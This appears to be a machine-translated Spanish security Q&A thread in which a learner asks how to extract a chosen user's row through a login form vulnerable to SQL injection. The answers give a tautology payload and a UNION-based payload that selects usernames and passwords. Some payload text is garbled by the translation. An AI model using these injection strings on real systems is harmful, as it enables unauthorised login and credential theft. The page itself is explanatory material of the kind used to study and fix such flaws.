¿Cómo recuperar una fila en particular de la base de datos vulnerable a la inyección SQL?

2

Cuando coloco Nombre de usuario: cualquier cosa y Contraseña: 1'o'1 '=' 1, mi base de datos recupera la primera fila de la tabla MYSQL. ¿Cómo recupero la fila correspondiente al nombre de usuario: algo? Esto es para un proyecto en el que necesito mostrar todas las posibles vulnerabilidades de SQL y rectificarlas.

    
pregunta learner 24.10.2014 - 08:05
fuente

2 respuestas

3

Básicamente, el sql se vería así:

select * from table
where username='anything' and pw='1' or '1'='1'

Sabemos que 'y' tiene prioridad sobre 'o' así que:

 select * from table
    where (username='anything' and pw='1') or '1'='1'

Entonces, si la contraseña de 'cualquier cosa' no es '1', obtendrás la primera fila ya que '1' = '1' siempre es verdadero

ACTUALIZACIÓN:
Para obtener el resultado que desea, debe cambiar el valor del nombre de usuario y, por lo tanto, para la contraseña, No estoy seguro , pero esto es casi lo que debe inyectar:
username = 'nada ('
pw = 1 ') o' 1 '=' 1 '

    
respondido por el elsadek 24.10.2014 - 08:48
fuente
0

Probablemente la consulta de inicio de sesión debería tener este aspecto.

select * from table
where username='user' and password='pass'

Ahora su objetivo es obtener la fila correspondiente al valor especificado como "nombre de usuario".

Entonces, para eso simplemente inyecte una consulta UNION , mejor no confundirse con otros métodos.

Aquí debajo va el valor del campo "nombre de usuario".

' UNION ALL SELECT username,password from users where username='ShihabSoft' -- 

Luego de inyectar la consulta final se verá así.

select * from users where username='' UNION ALL SELECT username,password from users where username='ShihabSoft' -- 

Entonces, si quieres obtener la fila de un usuario específico, simplemente cambia el valor 'ShihabSoft' a cualquier otro nombre de usuario.

Y es solo para un ejemplo porque ni siquiera especificó la consulta en su pregunta. Por lo tanto, el número de columnas en la consulta UNION puede diferir según el número de columnas especificado en el real consulta.

    
respondido por el ShihabSoft 25.10.2014 - 08:24
fuente

Lea otras preguntas en las etiquetas